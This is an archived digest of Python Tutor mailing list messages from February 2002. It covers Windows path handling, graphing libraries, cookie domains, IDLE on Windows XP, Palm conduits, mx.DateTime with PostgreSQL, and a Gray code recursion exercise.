line_parser("c:/site_root","s.txt","test1.txt") > > Here's the error raised in Windows 2000 Pro: > > Traceback (most recent call last): > File > "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, > in RunScript > exec codeObject in __main__.__dict__ > File "C:\Python21\database\pg_extract.py", line 58, in ? > first = line_parser("c:/test","s.txt","test1.txt") > File "C:\Python21\database\pg_extract.py", line 10, in __init__ > self.handle = open(os.path.join(base_dir,in_file),"r") > IOError: [Errno 2] No such file or directory: 'c:/test\\s.txt' In your code above the base directory is "C:/site_root" yet in the traceback it's listed as "C:/test". Is it possible that W2K is substituting one value for another? Scott From SWidney@ci.las-vegas.nv.us Tue Feb 5 23:10:49 2002 From: SWidney@ci.las-vegas.nv.us (Scott Widney) Date: Tue, 5 Feb 2002 15:10:49 -0800 Subject: [Tutor] graphing with Python Message-ID: > -----Original Message----- > From: Pijus Virketis [mailto:virketis@fas.harvard.edu] > Sent: Tuesday, February 05, 2002 11:55 AM > To: ak@silmarill.org > Cc: tutor@python.org > Subject: Re: [Tutor] graphing with Python > > > I found this site with a lecture by Kirby Urner about some > basic calculus and graphing with POVray: > > http://www.inetarena.com/~pdx4d/ocn/precalc.html > > That stuff looks to be quite fun. However, I think for my > purposes, POVray is a bit too involved, and serious > overkill. Are there smaller packages out there? All I > need is to quickly plot e**sin(n) and things of that sort, > not industrial strenght graphing. > > Cheers, > > Pijus Don't know of a Python based solution, but meanwhile, if you have Internet access on your Windows PC, there's a free, online graphing calculator at: http://www.plu.edu/~kimjd/GCalc/GCalc.html Scott From lha2@columbia.edu Tue Feb 5 23:50:00 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Tue, 05 Feb 2002 18:50:00 -0500 Subject: [Tutor] Lambdas References: <001c01c1ae3d$22fb09c0$bab4acce@hppav> Message-ID: <3C606FA8.79ABBDD5@mail.verizon.net> > Greg Guest wrote: > > Thanks everyone, > > that cleared up my confusion. You all are great =) > > Greg Guest > > ____________________________________________________________ > Get Premium UNLIMITED Internet Access across Canada for > JUST $9.95/MONTH at http://www.get3web.com/?mkid=emt123 Speaking of lambdas and confusion, I seem to recall someone posting to c.l.python (back when I had time to wade through it) something along the lines of the following procedure for writing a "proper" lambda function: * Write an approximation of the lambda function. * Write a comment out to the side that clearly explains what your lambda function is supposed to do. * Write a function that matches the comment you just wrote. * Put triple-double quotes around the comment, and move it to that function you just wrote. * Delete the lambda function, and replace it with a call to the function above. But if you do , posted here earlier, then maybe you'll like the word lambda too. From dajoy@operamail.com Wed Feb 6 02:02:20 2002 From: dajoy@operamail.com (Daniel Ajoy) Date: Tue, 5 Feb 2002 21:02:20 -0500 Subject: [Tutor] graphing with Python In-Reply-To: Message-ID: <3C60485C.28313.657454@localhost> On 5 Feb 2002 at 18:53, tutor-request@python.org wrote: > > > From: "ingo" > > > So, I would like to hear your recommendations for a graphing package > > > for Python. 6: File Name: cdpy151.zip Collection: win95 prog Description: Charting library on PNG,JPEG,WMP,GIF [Python] File size: 1832398 File date: 2001-10-12 Distribution Type: Shareware More Information: http://www.simtel.net/pub/pd/56104.shtml Publisher: Advanced Software Engineering Limited email: pkwan@advsofteng.com Posted to the Simtel.Net collection on 2001-10-12 6: File Name: dl_75_py.zip Collection: win95 graphics Program Name: DISLIN for Python 2.1 v 7.5 Description: DISLIN is a high-level data plotting library File size: 1512901 File date: 2001-12-07 Distribution Type: Freeware More Information: http://www.simtel.net/pub/pd/34761.shtml Publisher: MPI fuer Aeronomie email: michels@linmpi.mpg.de Posted to the Simtel.Net collection on 2001-12-07 Also look for GNUPlot, there must be an interface to Python for it. Daniel Ajoy From toodles@yifan.net Wed Feb 6 02:40:07 2002 From: toodles@yifan.net (Andy W) Date: Wed, 6 Feb 2002 10:40:07 +0800 Subject: [Tutor] graphing with Python References: <3C60485C.28313.657454@localhost> Message-ID: <000901c1aeb7$9819cb40$3100a8c0@sun> > 6: File Name: cdpy151.zip Collection: win95 prog > Description: Charting library on PNG,JPEG,WMP,GIF [Python] > File size: 1832398 File date: 2001-10-12 Distribution Type: Shareware > More Information: http://www.simtel.net/pub/pd/56104.shtml > Publisher: Advanced Software Engineering Limited email: pkwan@advsofteng.com > Posted to the Simtel.Net collection on 2001-10-12 > > 6: File Name: dl_75_py.zip Collection: win95 graphics > Program Name: DISLIN for Python 2.1 v 7.5 > Description: DISLIN is a high-level data plotting library > File size: 1512901 File date: 2001-12-07 Distribution Type: Freeware > More Information: http://www.simtel.net/pub/pd/34761.shtml > Publisher: MPI fuer Aeronomie email: michels@linmpi.mpg.de > Posted to the Simtel.Net collection on 2001-12-07 > > > Also look for GNUPlot, there must be an interface to Python for it. The Vaults of Parnassus has this (as well as other graphing modules) in the Graphics section. http://www.vex.net/parnassus/apyllo.py/302299380 Andy > > > Daniel Ajoy > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From idiot1@netzero.net Wed Feb 6 02:59:07 2002 From: idiot1@netzero.net (kirk Bailey) Date: Tue, 05 Feb 2002 21:59:07 -0500 Subject: [Tutor] SysOP Aid Message-ID: <3C609BFB.8A0261FE@netzero.net> I get to create and send out a lot of new accounts, and each such generates a letter. I am tired od writing these by hand, so I built a script and form so all I enter is the existing email, new account name, it's password, and click submit- the script cranks out the letter and sends it. The majority of the letter is in a file which can be easily changed. Anyone else need a thing like that? -- -Respectfully, -Kirk D Bailey Consulting Loose Cannon end www.howlermonkey.net highprimate@howlermonkey.net www.sacredelectron.org idiot1@netzero.net www.tinylist.org grumpy@tinylist.org ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From virketis@fas.harvard.edu Wed Feb 6 05:06:27 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Wed, 6 Feb 2002 00:06:27 -0500 Subject: [Tutor] graphing with Python References: <3C60485C.28313.657454@localhost> Message-ID: <00d901c1aecc$088fae80$18adf78c@virketis2> Well, I tried DISLIN, and it's a snap. You get your vectors (lists) and after importing dislin, simply call dislin.plot(x,y). This was pretty much what I was looking for. At the same time, in the documentation there are quite a few options that would be useful if I was trying to do something serious/nice. Thanks for the tip! > Program Name: DISLIN for Python 2.1 v 7.5 > Description: DISLIN is a high-level data plotting library > File size: 1512901 File date: 2001-12-07 Distribution Type: Freeware > More Information: http://www.simtel.net/pub/pd/34761.shtml > Also look for GNUPlot, there must be an interface to Python for it. Yes, there is one. I saw it in the Vaults of Parnassus. But I think I have found the tool good enough for my purposes. Cheers, Pijus From idiot1@netzero.net Wed Feb 6 03:14:55 2002 From: idiot1@netzero.net (kirk Bailey) Date: Tue, 05 Feb 2002 22:14:55 -0500 Subject: [Tutor] new tool on the site Message-ID: <3C609FAF.7A0A7F26@netzero.net> I am tired of having to write a letter for each new account. I automated it. hereafter, when we create a new account, we can simply fill in a simple form with 3 items- the current email, the new account name, and their new password, then click submit- the script sends everything else out. Feel free to click this link, fill in your email, 2 pieces of junk, and click send. http://www.howlermonkey.net/SOAnotifier.html -- -Respectfully, -Kirk D Bailey Consulting Loose Cannon end www.howlermonkey.net highprimate@howlermonkey.net www.sacredelectron.org idiot1@netzero.net www.tinylist.org grumpy@tinylist.org ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From danny@intuitivemedia.com Wed Feb 6 11:18:12 2002 From: danny@intuitivemedia.com (Danny Ruttle) Date: Wed, 06 Feb 2002 11:18:12 +0000 Subject: [Tutor] os.path.join on windows 2000 In-Reply-To: Message-ID: <5.1.0.14.0.20020206111352.00ab07c8@mail.intuitivemedia.com> Sorry about that - I was trying a few directories during tests. The following call generates the same exception. if __name__ == "__main__": my_instance = line_parser("c:/test","s.txt","test1.txt") Any ideas? regards Dann-o At 14:52 05/02/2002 -0800, you wrote: > > -----Original Message----- > > From: Danny Ruttle [mailto:danny@intuitivemedia.com] > > > I have a class which parses the contents of one file and > > writes to another file - here's a snippet of the constructor: > > > > class line_parser: > > def __init__(self, base_dir, in_file, out_file): > > > > self.handle = open(os.path.join(base_dir,in_file),"r") > > > > > > > > Here's the calling line: > > > > if __name__ == "__main__": > > my_instance = line_parser("c:/site_root","s.txt","test1.txt") > > > > Here's the error raised in Windows 2000 Pro: > > > > Traceback (most recent call last): > > File > > "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, > > in RunScript > > exec codeObject in __main__.__dict__ > > File "C:\Python21\database\pg_extract.py", line 58, in ? > > first = line_parser("c:/test","s.txt","test1.txt") > > File "C:\Python21\database\pg_extract.py", line 10, in __init__ > > self.handle = open(os.path.join(base_dir,in_file),"r") > > IOError: [Errno 2] No such file or directory: 'c:/test\\s.txt' > >In your code above the base directory is "C:/site_root" yet in the traceback >it's listed as "C:/test". Is it possible that W2K is substituting one value >for another? > >Scott > >_______________________________________________ >Tutor maillist - Tutor@python.org >http://mail.python.org/mailman/listinfo/tutor From rkashyap@sympatico.ca Wed Feb 6 13:43:16 2002 From: rkashyap@sympatico.ca (Ramkumar Kashyap) Date: Wed, 06 Feb 2002 08:43:16 -0500 Subject: [Tutor] reading file creation date and xreadlines from a point in the middle of a file Message-ID: <3C6132F4.3060500@sympatico.ca> I would not know how you can call this in the middle of reading a file, but here is a small program that will list the name of the file and date created, in fact lists the entire contents of a directory. I don't know if it works on cross-platform, but works on win32. import os import time DIR = "D:\\my_dir" for filename in os.listdir(DIR): full_path = os.path.join(DIR, filename) created = os.stat(full_path).st_ctime print filename + ",", time.ctime(created) regards, Kumar From urnerk@qwest.net Wed Feb 6 16:45:40 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 06 Feb 2002 08:45:40 -0800 Subject: [Tutor] graphing with Python In-Reply-To: <00d901c1aecc$088fae80$18adf78c@virketis2> References: <3C60485C.28313.657454@localhost> Message-ID: <4.2.0.58.20020206084327.019efda0@pop3.norton.antivirus> Also, for higher end graphing, I got this URL from Kevin Altis off list: http://www.scipy.org/site_content/tutorials/plot_tutorial Appears a good solution especially for those already using wxPython (cross-platform) I should think. I haven't tried it myself yet, but likely will. I'd be interested in feedback/reviews from any subscribers currently using this resource. Kirby From jeff@ccvcorp.com Wed Feb 6 17:34:23 2002 From: jeff@ccvcorp.com (Jeff Shannon) Date: Wed, 06 Feb 2002 09:34:23 -0800 Subject: [Tutor] os.path.join on windows 2000 References: Message-ID: <3C61691E.229C3FA@ccvcorp.com> > Danny Ruttle wrote: > > Sorry about that - I was trying a few directories during tests. > > The following call generates the same exception. > > if __name__ == "__main__": > my_instance = line_parser("c:/test","s.txt","test1.txt") > > Any ideas? My suspicion is that you'll have to abandon the idea of using forward slashes. Really, you're not benefiting your cross-platform capabilities by it--if you're hardcoding in a "C:", then you might as well use a \ when you're hardcoding pathnames. Once you've *got* a starting point, if you only use the os.path functions to modify the path, then you'll be perfectly cross-platform, but you're going to need to do something to address the different ways of handling filesystem roots anyhow. Have you tried simply using "C:\\test" in the above example? Unless that fails too (and it shouldn't), then simply dealing with platform-specific differences there will probably be easier than mucking about changing attributes of os. (You could write a function like GetFilesystemRoot() that tests the os module for system type, and returns 'c:\\', '/', etc.) Jeff Shannon Technician/Programmer Credit International From urnerk@qwest.net Wed Feb 6 17:36:39 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 06 Feb 2002 09:36:39 -0800 Subject: [Tutor] Using Flash animations to teach Python In-Reply-To: References: <00d901c1abfb$acbd1b60$6501a8c0@jasonic> Message-ID: <4.2.0.58.20020206093032.01a0a600@pop3.norton.antivirus> Lou Talman on one of the math discussion lists I frequent brought my attention to: http://www.mathematica.co.kr/mathcomm/20_definitionviz/index.html which uses short animations of symbolic expressions to communicate the meanings of Mathematica notations. This same strategy could be applied to teaching Python of course. Indeed, some of the notations are essentially the same, e.g. this one about map(): http://www.mathematica.co.kr/mathcomm/20_definitionviz/map.html -- the apply() one pertains as well: http://www.mathematica.co.kr/mathcomm/20_definitionviz/apply.html Yes, these are Flash animations. Kirby From dyoo@hkn.eecs.berkeley.edu Wed Feb 6 17:54:45 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 6 Feb 2002 09:54:45 -0800 (PST) Subject: [Tutor] NEWBIE looking for help (fwd) Message-ID: Hi Robert, Let me foward your message to Tutor; I'm a little busy at the moment, but I'll try to answer later this evening. Here's a quicky link to PalmPython, software to build Palm conduits in Python: http://pdacentral.planetmirror.com/palm/preview/34601.html Other interesting links include the Pippy, a Python interpreter for the Palm: http://www.endeavors.com/pippy/ ---------- Forwarded message ---------- Date: Wed, 6 Feb 2002 10:22:07 -0500 From: Robert Garber To: Danny Yoo Subject: Re: [Tutor] NEWBIE looking for help Thank you very much taking the time to respond to my questions. I have been working very hard to gather the info needed to complete my project and i am so far very satisfied with the results. I have been messing around with writing programs for the PALM OS USING PDA Toolbox. My eventual goal is to write my program for use on a windows machine as well as a Palm OS device. That means I will also need to write a conduit to synch the desktop to the palm. Is python capable of such a task? Thanks again, Robert ---------- Original Message ---------------------------------- From: Danny Yoo Date: Mon, 4 Feb 2002 19:03:16 -0800 (PST) >On Mon, 4 Feb 2002, Robert Garber wrote: > >> I am very new to programing and am hoping that Python is the place to >> start. My question is this: I am a football coach who is very unhappy >> with some of the software available to use in scouting and keeping >> stats. I am certian a program of this nature will need to be set up as >> some type of database that is searchable ( by formation, field >> position, player number/position, down and distance, etc...) > >Hi Robert, > >You might be able to do a lot with Python combined with a SQL relational >database. It might be good to invest some time looking at SQL. Here are >some links that may help explain what SQL is about: > > http://www.arsdigita.com/books/sql/ > http://www.devshed.com/Server_Side/MySQL/Intro/page1.html > http://mysql.com/ > >A relational database is a fairly flexible medium for saving and querying >data. You can learn it independently of Python, and it's not too hard to >coax a relational database to do basic bread-and-butter stuff. > > > >> is Python the language to start with? I have purchased the Sams >> "TEaching yourself Python in 24 hours" as Alan Gaulds "Learnign to >> program book". I have also downloaded every tutorial I can find on >> python. I am enjoying the learning experince and hope that Python is >> the language to open a whole new world for me. Thans for any help, > >Cool! Glad to hear you're enjoying things. > >It must be said that this is "Python-Tutor" --- you may not get an >unbiased answer here. *grin* Yes, I think it's a good language to learn >and use. It has a fairly nice syntax that tries not to get in the way of >learning. It's nice because you can do a lot of casual programming with >it, yet it's powerful enough to handle things like web serving and >scientific applications. > >Most importantly, it has a great community behind it! *grin* There's more >cheerleader-style advocacy here: > > http://www.linuxjournal.com/article.php?sid=3882 > >Try Python out; it's free, and you can always ask questions here. We'll >do our best to answer your questions well. Ah, by the way, here's a link >that has another good source of tutorials: > > http://python.org/doc/Newbies.html > > > >For the sake of completeness, I should mention: there's another powerful >programming language called Perl, and it too has a strong user community >behind it. If you're interested, take a look at: > > http://learn.perl.org/ > >for more information. I wouldn't say that Perl is for beginners --- Perl >code can have a really cryptic syntax, and I think it forces the user to >carry too much mental baggage. Still, it's a very popular alternative, >and it's good to know what choices you have. > > >Good luck to you! > > From m_konermann@gmx.de Wed Feb 6 18:10:33 2002 From: m_konermann@gmx.de (Keule) Date: Wed, 06 Feb 2002 19:10:33 +0100 Subject: [Tutor] Idle Problems under WindowsXP Message-ID: <3C617199.9070004@gmx.de> Hi @ All ! Does´nt Idle run under WindowsXP ? The Installing Program of Python 2.1.1 creates a icon , but after clicking on it, nothing happend. what´s going wrong ? Greetings Marcus From Bill.Scherer@VerizonWireless.com Wed Feb 6 12:16:47 2002 From: Bill.Scherer@VerizonWireless.com (Scherer, Bill) Date: Wed, 6 Feb 2002 07:16:47 -0500 (EST) Subject: [Tutor] Re: Is anyone capable of explaining ? In-Reply-To: <3C6069DA.18895.92952C@localhost> Message-ID: On Tue, 5 Feb 2002, A wrote: > > Can anybody please answer the following question? > > Question: How does web browser know what cookies should be > sent to server as a response? The browser determines which cookies to include with a request by comparing the domain of the server it is about to contact with the domain of the cookies. I didn't see any domain in the cookies you are setting; there should be one. The template http cookie header: Set-Cookie: name=value; expires=date; path=pathname; domain=domainname See: http://www.webreference.com/js/column8/http.html -- Bill.Scherer at Verizon Wireless RHCE 807101044903581 From Oleg Broytmann Wed Feb 6 12:28:03 2002 From: Oleg Broytmann (Oleg Broytmann) Date: Wed, 6 Feb 2002 15:28:03 +0300 Subject: [Tutor] Re: Is anyone capable of explaining ? In-Reply-To: ; from Bill.Scherer@VerizonWireless.com on Wed, Feb 06, 2002 at 07:16:47AM -0500 References: <3C6069DA.18895.92952C@localhost> Message-ID: <20020206152803.Q18177@phd.pp.ru> On Wed, Feb 06, 2002 at 07:16:47AM -0500, Scherer, Bill wrote: > > Question: How does web browser know what cookies should be > > sent to server as a response? > > The browser determines which cookies to include with a request by > comparing the domain of the server it is about to contact with > the domain of the cookies. I didn't see any domain in the > cookies you are setting; there should be one. This is true only partially. If you omit "domain" part of the cookie the browaser will store current server's domain. > The template http cookie header: > Set-Cookie: name=value; expires=date; path=pathname; domain=domainname ^^^^^^^^^^^^^^^^^^^ this is not neccessary Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd@phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From virketis@fas.harvard.edu Wed Feb 6 18:26:52 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Wed, 6 Feb 2002 13:26:52 -0500 Subject: [Tutor] Idle Problems under WindowsXP References: <3C617199.9070004@gmx.de> Message-ID: <014301c1af3b$d9905290$18adf78c@virketis2> Hm ... IDLEs from both P2.1 and P2.2 run just fine on XP here. Maybe you should try to see what the icon shortcut is pointing at and to check that everything is in place. Just try launching IDLE from the command line to = see if that works. Also, you might want to check if Tk is installed on your b= ox (you know, "import Tkinter"), because IDLE uses it. Cheers, -P ----- Original Message ----- From: "Keule" To: "SWIG" ; "Tutor" Sent: Wednesday, February 06, 2002 1:10 PM Subject: [Tutor] Idle Problems under WindowsXP > Hi @ All ! > > Does=B4nt Idle run under WindowsXP ? The Installing Program of Python > 2.1.1 creates a icon , but after clicking on it, nothing happend. > > what=B4s going wrong ? > > Greetings > Marcus > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor From urnerk@qwest.net Wed Feb 6 18:37:52 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 06 Feb 2002 10:37:52 -0800 Subject: [Tutor] Idle Problems under WindowsXP In-Reply-To: <3C617199.9070004@gmx.de> Message-ID: <4.2.0.58.20020206103719.01a06690@pop3.norton.antivirus> At 07:10 PM 2/6/2002 +0100, Keule wrote: >Hi @ All ! > >Does=B4nt Idle run under WindowsXP ? The Installing Program of Python 2.1.1= =20 >creates a icon , but after clicking on it, nothing happend. > >what=B4s going wrong ? I have an notebook running XP and it has no problems with 2.2 -- never tried 2.1.1 on it. Kirby From dyoo@hkn.eecs.berkeley.edu Wed Feb 6 19:35:11 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 6 Feb 2002 11:35:11 -0800 (PST) Subject: [Tutor] SysOP Aid In-Reply-To: <3C609BFB.8A0261FE@netzero.net> Message-ID: On Tue, 5 Feb 2002, kirk Bailey wrote: > I get to create and send out a lot of new accounts, and each such > generates a letter. I am tired od writing these by hand, so I built a > script and form so all I enter is the existing email, new account > name, it's password, and click submit- the script cranks out the > letter and sends it. The majority of the letter is in a file which can > be easily changed. > > Anyone else need a thing like that? I think that Rob Andrews of Useless Python would be very interested: http://www.lowerstandard.com/python/ From ainsoph3@attbi.com Wed Feb 6 20:37:44 2002 From: ainsoph3@attbi.com (chris schwan) Date: 06 Feb 2002 12:37:44 -0800 Subject: [Tutor] Glade In-Reply-To: <27012922025100.00939@localhost.localdomain> References: <27012922025100.00939@localhost.localdomain> Message-ID: <1013027864.1977.1.camel@milarepa> Hi, Djuro, I am a bit of a newb myself, but as I was gathering materials for learning python I came across this: http://www.icon.co.za/~zapr/Project1.html It has a tutorial for using glade and python together. I did some of the work in the toot and it seems pretty good. Hope that helps! Chris On Fri, 2027-01-29 at 18:20, djuro m. wrote: > > > Hello everyone! > > Could someone please "explain" to me how to make a simple gui working with > python code by using Glade. ( I only need to see a code or how is python code > tied with gui code file) > > I already tried several times according to > instructions in available "Getting started-s" but it didn't work. > > I use RedHat 7.0, Python 1.5.2 and Glade 0.5.9 > > For example by Tkinter: > > from Tkinter import * > > top = Tk() > e = Entry() > e.pack() > > def Write(): > global e > m = "Hi there!" > e.insert(END,m) > > b = Button(text='OK',command = Write) > b.pack() > > top.mainloop() > > > > Thank you > > D. M. > > > > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor From mikalzet@libero.it Wed Feb 6 22:17:44 2002 From: mikalzet@libero.it (mikalzet@libero.it) Date: Wed, 6 Feb 2002 23:17:44 +0100 (CET) Subject: [Tutor] Shifts and DateTime problems In-Reply-To: <27012922025100.00939@localhost.localdomain> Message-ID: All right, so I keep on toying around with my idea on a program for managing complex shifting schedules. I have a small example postgres database (5 lines); 4 columns: the workers name (char), hour at which shift begins (timestamp), hour at which it ends (timestamp) {...actually I suspect I might as well use just one column of DateTime interval type, because postgres operators are available for extracting the beginning and end of an interval....} and type of shift (text). If I run this code everything works ok: import pgdb db = pgdb.connect(database = 'exampledatabase') cursor = db.cursor() cursor.execute('select time("Begin") from shift where "Type" = \'Automedica\' ;') # backslashes needed to protect ' cursor.fetchone() ['20:00:00'] I get what I want ... but this is a string I believe, not a DateTime variable or even an int. I would like to obtain the time as an mx.DateTime variable which could be passed on to my Shift class. How do I do that ? If I do something like: b = DateTimeFrom(cursor.fetchone()) ( with an aim to calling Shift(begin=b) in future ) python sneers at me: Traceback (most recent call last): File "", line 1, in ? File "/usr/lib/python2.1/site-packages/mx/DateTime/DateTime.py", line 228, in DateTimeFrom value = int(arg) TypeError: object can't be converted to int (My problem is going to be how to extract all the values to be fed to Shift() from my database ... but let's go one step at a time ... Shift() is also going to undergo profound changes no doubt .... in fact, if instead of using begin and end in the database I used an interval it would make sense to use one in Shift() too...) Do I have to specify in the class init method that the variables are of DateTime type ? If anyone cares here's what I had written for class Shift(): ___________________________________________________________ class Shift: def __init__(self, name="None", worker="None", begin="None", end="None"): self.name = name self.worker = worker self.begin = begin self.end = end def __str__(self): return str(self.name) + "\n" + str(self.worker) + "\n" + str(self.begin) + str(self.end) Any hints wwelcome !! -- Michele Alzetta From csmith@blakeschool.org Wed Feb 6 22:57:36 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Wed, 06 Feb 2002 16:57:36 -0600 Subject: [Tutor] a recursion opportunity Message-ID: I was reading about Boolean algebra today and happened across a nice little recursion definition that anyone wanting to sharpen up on recursion might want to try. (This would make a nice "stepping stone" exercise in a series of exercises for beginning programmers.) The definition occurred in an article about Gray code: http://www.nist.gov/dads/HTML/graycode.html Gray code (definition) Definition: An ordering of 2^n binary numbers such that only one bit changes from one entry to the next. Also known as grey code. See also Karnaugh map. Note: Gray codes are useful in mechanical encoders since a slight change in location only affects one bit. Using a typical binary code, up to n bits could change, and slight misalignments between reading elements could cause wildly incorrect readings. One Gray code for 3 bits is (000, 010, 011, 001, 101, 111, 110, 100). Gray codes are not unique. An n-bit Gray code corresponds to a Hamiltonian cycle on an n-dimensional hypercube. One way to construct a Gray code for n bits is to take a Gray code for n-1 bits with each code prefixed by 0 (for the first half of the code) and append the n-1 Gray code reversed with each code prefixed by 1 (for the second half). Here is an example of creating a 3-bit Gray code from a 2-bit Gray code. 00 01 11 10 A Gray code for 2 bits 000 001 011 010 the 2-bit code with "0" prefixes 10 11 01 00 the 2-bit code in reverse order 110 111 101 100 the reversed code with "1" prefixes 000 001 011 010 110 111 101 100 A Gray code for 3 bits Gray codes were discovered by a French engineer Emile Baudot (1845-1903). The codes were first patented by Frank Gray, a Bell Labs researcher, in 1953. (From Gray Codes). So the exercise is to write a function that will return a list of strings representing the binary numbers in an n-bit Gray code. If you've done a permutation code already with recursion then you might think that this is a "two base case" problem like I did (a case 0 and a case) but as I wrote this I realized that it has a single base case, namely the Gray code for 0 bits which would be ['']. There is a nice discussion of Gray codes and their physical application to mechanical devices at http://lib-www.lanl.gov/numerical/bookcpdf/c20-2.pdf Enjoy! /c From dyoo@hkn.eecs.berkeley.edu Wed Feb 6 23:51:49 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 6 Feb 2002 15:51:49 -0800 (PST) Subject: [Tutor] Shifts and DateTime problems In-Reply-To: Message-ID: On Wed, 6 Feb 2002 mikalzet@libero.it wrote: > cursor.execute('select time("Begin") from shift where > "Type" = \'Automedica\' ;') # backslashes needed to protect ' > cursor.fetchone() > ['20:00:00'] > > I get what I want ... but this is a string I believe, not a DateTime > variable or even an int. Ah! Be careful: it's a LIST that contains a single string. cursor.fetchone() always returns a list of columns, even if there's just one column > b = DateTimeFrom(cursor.fetchone()) Try: b = DateTimeFrom(cursor.fetchone()[0]) instead; that should work better, although I haven't had enough time with mx.DateTime to be sure about this. From paulsid@shaw.ca Thu Feb 7 01:11:32 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Wed, 06 Feb 2002 18:11:32 -0700 Subject: [Tutor] NEWBIE looking for help (fwd) References: Message-ID: <3C61D444.5C35A2A0@shaw.ca> Danny Yoo forwarded: > Thank you very much taking the time to respond to my questions. I have > been working very hard to gather the info needed to complete my project > and i am so far very satisfied with the results. I have been messing > around with writing programs for the PALM OS USING PDA Toolbox. My > eventual goal is to write my program for use on a windows machine as well > as a Palm OS device. That means I will also need to write a conduit to > synch the desktop to the palm. Is python capable of such a task? Plucker - an HTML viewer for Palm devices - uses Python for conduits and also for spidering the web and parsing the HTML files to get them onto the handheld. It's open source so it should serve as a good example for how to use Python in this capacity. (It's also a darn handy program!) The web site is here: http://www.plkr.org/ As for the Palm app itself, one of the first things I did after I got my Palm was look into Pippy, but unfortunately Python just doesn't seem too well-suited for something like a Palm what with the lack of a file system and all. That they were even able to get it to work is quite amazing, I think. I would recommend plain ol' C (because it's fast and small) and PRC-Tools (because it's free) but there are many other options. The unofficial PalmOS programmer's FAQ is a good place to start: http://tangentsoft.net/palmfaq/ Palm's own developer web site also has some info though it's largely C-related: http://www.palmos.com/dev/ Hope that helps. -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From mikalzet@libero.it Thu Feb 7 00:20:53 2002 From: mikalzet@libero.it (mikalzet@libero.it) Date: Thu, 7 Feb 2002 01:20:53 +0100 (CET) Subject: [Tutor] Shifts and DateTime problems Message-ID: Well, by fumbling around I've finally reached this result: class Shift: def __init__(self, name="None", worker="None", begin="None", end="None"): self.name = name self.worker = worker self.begin = begin self.end = end def __str__(self): return str(self.name) + "\n" + str(self.worker) + "\n" + str(self.begin) + " - " + str(self.end) from mx.DateTime import * import pgdb db = pgdb.connect(database = 'turni') cursor = db.cursor() cursor.execute('select * from shifts;') shifts = cursor.fetchone() pythonworker = shifts[0] pythonname= shifts[3] pythonbegin = DateTimeFrom(shifts[1]) pythonend = DateTimeFrom(shifts[2]) turno = Shift(name = pythonname, begin=pythonbegin.hour, end = pythonend.hour, worker = pythonworker) print turno Which gives me the following output: Shiftsname Workersname 7 - 13 So it seems most of the problems I was complaining about are solved. It does seem sort of fumbling though ... Any comments ? -- Michele Alzetta From urnerk@qwest.net Thu Feb 7 06:46:32 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 06 Feb 2002 22:46:32 -0800 Subject: [Tutor] Shifts and DateTime problems In-Reply-To: Message-ID: <4.2.0.58.20020206223333.019e2ba0@pop3.norton.antivirus> At 01:20 AM 2/7/2002 +0100, mikalzet@libero.it wrote: >Well, by fumbling around I've finally reached this result: > > >class Shift: > > def __init__(self, name="None", worker="None", begin="None", end="None"): > self.name = name > self.worker = worker > self.begin = begin > self.end = end > > def __str__(self): > return str(self.name) + "\n" + str(self.worker) + "\n" + > str(self.begin) + " - " + str(self.end) > >from mx.DateTime import * >import pgdb >db = pgdb.connect(database = 'turni') >cursor = db.cursor() >cursor.execute('select * from shifts;') >shifts = cursor.fetchone() >pythonworker = shifts[0] >pythonname= shifts[3] >pythonbegin = DateTimeFrom(shifts[1]) >pythonend = DateTimeFrom(shifts[2]) >turno = Shift(name = pythonname, begin=pythonbegin.hour, end = >pythonend.hour, worker = pythonworker) >print turno > > >Which gives me the following output: > >Shiftsname >Workersname >7 - 13 > >So it seems most of the problems I was complaining about are solved. >It does seem sort of fumbling though ... >Any comments ? You don't have to name your input arguments as long as they correspond, i.e. instead of turno = Shift(name = pythonname, begin=pythonbegin.hour, end = pythonend.hour, worker = pythonworker) you can just go: shifts = cursor.fetchone() turno = Shift(pythonname, pythonbegin.hour, pythonend.hour, pythonworker) You may also choose to skip all those interim variables, and just go: shifts = cursor.fetchone() turno = Shift(shifts[3], # Name DateTimeFrom(shifts[1]).hour, # Start Hour DateTimeFrom(shifts[2]).hour, # End Hour shifts[0]) # Worker Note where I put my comments -- that's legal. Just trying to give you some ideas, point out your many freedoms. If the only purpose of your class is really just to print something formatted, then you don't really need a class. But I assume you're thinking to expand on the above model somehow. Finally, if DateTimeFrom is all you're using from mx.DateTime, then I'd go: from mx.DateTime import DateTimeFrom but that's a small matter. Kirby From Willem de Beer" This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C1B06E.9BD36C60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Good day I would like to run extremely simple Python 2.0 programs from MS Access. Any suggestions? Best regards Willem ------=_NextPart_000_0005_01C1B06E.9BD36C60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Good day
 
I would like to run extremely simple = Python 2.0=20 programs from MS Access.
 
Any suggestions?
 
 
Best regards
Willem
 
